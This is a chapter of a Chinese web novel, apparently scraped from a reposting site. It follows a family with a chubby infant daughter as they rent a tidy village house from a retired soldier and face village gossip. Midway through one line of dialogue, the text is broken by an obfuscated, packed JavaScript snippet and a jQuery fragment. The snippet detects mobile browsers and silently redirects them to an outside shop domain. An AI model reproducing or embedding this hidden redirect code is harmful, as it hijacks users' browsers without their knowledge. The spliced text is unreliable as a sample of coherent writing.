略擦洗一番后,赵玉真便将闺女递给丈夫,一家人锁上门窗,迫不及待地前去看房。
搬家对他们来说,算是头等要事。
给邓观介绍的是李守正的儿子李贵生,他常替母亲去邓家送东西,跟邓家人熟得很。这回相中的是两家小院,一处是里正小儿子的宅子,离李田村稍远。家主去州城做生意了,宅院也就空了下去,已有两年不见人住。
房子相当不错,黄砖青瓦,篱笆上还攀着藤蔓,即使没人打理也长得旺盛。屋子里什么都有,瞧着也都是七成新的物件,只有一点,院子里杂草丛生,怕是要花不少时间打理。
韫姐儿盯着院子里的秋千,压根移不开眼,甚至想上去坐坐,她喜欢这个房子。
赵玉真浅笑,当即跟里正家的二儿媳妇询起价来。
对方只道:“小叔家的屋子许久没住人了,你们若诚心要,我便做主给你们便宜些。”
一家三口立马转过脸去,殷切地望着对方。
而后那位夫人咬了咬牙,似乎舍出天大的好处一样,开出了一个相当不诚心的价格。
说了不如不说。
赵玉真眼里的光立马淡了下去,又在屋子里转了一圈,才脸色为难地跟对方说,价格稍微有些贵了,他们未必能出得起。
临走时,里正媳妇还道:“这屋子我还给你们留段时间,若能筹得起,只管送来!”
邓观抱着女儿,走得更快了。他们家是才得了不少钱,但还当不了冤大头。这家开价这么贵,傻子才会去租呢。
李贵生也觉得被骗了:“上回问她时,她一直说便宜便宜,可就是不说价格,我还真以为有多便宜呢,没想到是故意坑人的。罢了罢了,这家别惦记了,我带你们去下一户。”
下一户离得就近多了,也在李田村边缘,跟邓观的窝棚一个在南,一个在北,都是人烟稀少的地方。若不是李贵生带路,邓观压根不知道村里还有这样两处好房子。
两个院子是连在一块儿的,两家的主人都是一位叫王朔的老爷子。
听李贵生说,老爷子已经六十有三,早年间从军,后来退下来便带着儿子一家在李田村落脚。老人家不太会种地,但打猎却是一把好手,他儿子也是身手了得,爷俩若是打到大物件,还会分些给村里吃不着饭的孩子。
邓观听完,便对这位素未蒙面的王老先生有了好感。待一碰面,对方鹤发童颜,步履轻盈,瞧着更不似寻常老人。
见到他们一家人过来,王朔略问了两句,目光就落在邓观怀里的娃娃身上。
嘿,这娃娃真敦实啊,比他大孙子小时候可要胖乎多了。
韫姐儿已经习惯被人围观了,高高地扬着脑袋,全然没发现自己露出了更加肥嘟嘟的下巴。没办法,她就是这么聪慧漂亮又招人喜欢。
王朔也就惊讶了一会儿便同这家人道:“随我过来吧,这是我大儿子的院子,他们一家都去外地讨生活去了,这屋子少说也有几年用不上,我平日里也就堆点杂物。你们要是喜欢,我便宜点租给你们。”
邓观对便宜这两个字已经应激了,听到这话不仅不信,还有点慌。
不过这处虽没有第一家好,但收拾得相当整洁。一条石子路通向大门,门外开辟了几块菜畦,中间种着葵菜、茄子、葱蒜这些,看得出是被人精心侍弄过。夯土矮墙围出了四四方方的小天地,西墙边堆着半人高的柴火,中间长着一棵合抱的桂花树,角落里有个很小的厢房;东墙开了一口井,边上就是厨房,北边的堂屋宽阔,两侧辟出了两间稍大些的卧室,家具也不算多,唯胜在干净,保养得挺好。
屋后用篱笆围出了一片地,搭了茅房跟畜棚,还放有一块石磨。附近种着柿子、枣等救荒果树,还有几棵桑树。可谓是麻雀虽小,但五脏俱全了。
赵玉真一看这院子就喜欢上了:“这院子宽敞,可以给韫姐儿扎个秋千。”
韫姐儿本来没当回事,但一听这个就来劲儿了,小手划拉得特别着急,她现在就想要秋千!
赵玉真对女儿的心思了如指掌:“急什么,还没租下来呢。”
王朔耳聪目明,听到这话立马回头。他是不耐烦讲价格的,愿意将宅子租给这家人也是听说了酒精的事:“你们要是愿意租,一年给一贯就行了。”
邓观跟赵玉真对了一个眼神,这次是真便宜!
一般村民都不愿意把房子租给流犯,即便租也会贵个三到五成,他们原以为王朔也要跟上家似的狮子大开口,没想到老爷子竟意外的实诚。
价钱公道,剩下的就好办多了。邓观当即去了王朔家中,借来纸币立下字据,中间人依旧是李贵生。邓观先交了半年钱,剩下的等年后再给。
赵玉真看完了契书,低头发现女儿炯炯有神地望着一处。她顺势看过去,发现王老爷子家里竟放着刀枪剑戟,原来还是个练家子,怪不得瞧着这样康健。
房子租好,一家人心情顿时明媚起来。
这下再也不用住那漏雨还逼仄的窝棚了!
王朔将契书收好后便问:“你们哪天搬过来,可要帮忙?”
“明日就搬,我们家东西也不多,搬得快。”
“那行,有事叫我,我就在隔壁。”
邓观多看了老爷子一眼,对方见他们离开准备拿刀劈柴,那样重的柴刀在他手上却轻得跟羽毛似的。
这老爷子,不简单。
出了院子,韫姐儿还在美滋滋地打量着自己以后的新家,不错不错,虽然还是稍微简陋了些,但也勉强能配得上她的身份啦!
李贵生也在跟邓观说搬家的事儿,王老爷子年纪大,不去帮忙,但他肯定是要帮的。昨儿晚上,邓观特意送了几块灰鼠皮过来。这可是值钱的好东西,他们家就算日子过得不错也买不起这样的。皮子冬天缝在衣服里头,可是能保暖救命的。
更不用说,邓观还答应给他家孩子上课。
这事儿说了有好些天了,只可惜他岳父病了,家里岳母一个人照看不周,他娘子只能带着两个孩子一起去帮忙。昨日带信回来,说是岳父已经病愈,明日就能回家。等回了家,两个孩子就该正经读书了。
正说着,便有几个人瞧见了他们。
“贵生这是打哪儿来呢?”
李贵生笑道:“给邓相公家寻了个房子。”
“可说定了?”又有人问。
邓观主动开口:“已经敲定了,村尾王老爷子家有一处院子空着,就租的他们家的屋子。来日搬过去后,诸位有空可以过去瞧瞧。”
众人没跟邓观相处过,听他开口还有些不好意思,讷讷地点了点头。
赵玉真停下,韫姐儿也好奇地望着周围。他们家的窝棚在村子边缘,自打出生后,她还没仔细看过李田村呢。
有两个老婆婆望着韫姐儿两眼放光:“这是你家闺女儿,养的可真好,一顿得喂不少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900532|212920||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
奶吧?”
韫姐儿鼓着脸蛋,骄矜得不行。
又是一群为她着迷的老人家。
韫姐儿不懂言外之意,赵玉真懂,遂忍俊不禁:“其实她吃的也不多。”
这夫妻俩身上都有股跟李田村格格不入的气质,众人也不大好意思久留他们,略打过几声招呼便目送他们离开了。等夫妻俩一走远,众人立马聚在一块儿,对着韫姐儿评头论足。邓观夫妻俩虽有些稀罕,但远不如韫姐儿有话题性。
“李三娘,那家闺女吃的就是你儿媳妇的奶吧?”
李三娘点了点头:“还有铁牛媳妇的奶水也吃,只她们俩行,别人的奶水碰都不碰,这孩子胃口也大,一天要吃好几碗呢。”
一群人讨论的吐沫横飞:“又白又胖,没见过比她还胖的女娃了。赵娘子还替这小胖妞遮掩,说她吃的不多。天哪,这要是放咱们家能被她吃垮,幸好不是我们家的。”
“对了,他们家还请了帮佣呢,真舍得给那小胖妞花钱。”
“人家有钱着呢,上回州衙过来不知送了多少钱,要不然也不会立马就换了房子。”
说起这事众人又免不了一顿酸。
韫姐儿冷不丁打了个喷嚏,夫妻俩大惊,赶紧将孩子抱回家。
韫姐儿却不以为然,她猜测肯定是有人对她念念不忘。
念念不忘总是有的,等第二天看到邓家搬家时,李田村的人更是念的都吃不下饭了。
钱不钱的是没看出来,但那些皮毛他们可都看得清清楚楚。皮子可是抢手货,别说村里人买不起了,就是等闲城里人也买不起,可邓家竟然有一堆,虽然用麻布包着,但露出来的一点儿就足够让人想入非非了。
不出意外的,赵玉真在自己新家外头碰上了好些老婆婆。这段时间邓家出的风头太大,一家三口不管哪个都特别有话题度。众人虽然没有恶意,但赵玉真想,他们肯定在猜测他们家多有钱,甚至有人大着胆子,直接问他们到底收了多少块皮子。
赵玉真可不准备吃独食,李田村在附近几个村子里都算是风气好的,他们家还得在这儿住上三年。是这群人刚来打听,赵玉真便告诉他们:“皮子是送来了些,不过也没有多少,几位大娘若是喜欢,今年冬天也可以买些。”
李三娘拍了拍大腿:“我们家没钱,哪买得起这个?”
赵玉真高深莫测道:“兴许过不久就有钱了,我这儿有个好主意,正打算抽空去州城碰碰运气,万一有商贾感兴趣了愿意做这笔生意,回头大家都能跟着赚钱。”
众人一愣,赶紧打听是什么生意,但赵玉真却只是摇头,说事成了才会开口。
众人半信半疑,把东西放下就离开了。
即便只是租房子,可但凡他们过来伸了头就得贺乔迁之喜。是以这群人也不是空着手来的,他们家里是不富裕,却也都带了一把菜过来。
等留下菜飞快跑到村里后,一群人又围在一块儿,讨论得热火朝天,如痴如醉。
“这赵娘子说大话吧,钱哪是那么好赚的?咱们家要有什么赚钱的营生,肯定悄悄藏着,那也会分给别人。”
“依我看,她兴许就是哄咱们开心。”
众人一边不信,一边又忍不住期待,看到让人深思时甚至又叽叽喳喳地互相泼冷水。
“这事我看没戏。”
“我想也是,下回咱们就别追问赵娘子了,就当没有这回事吧。”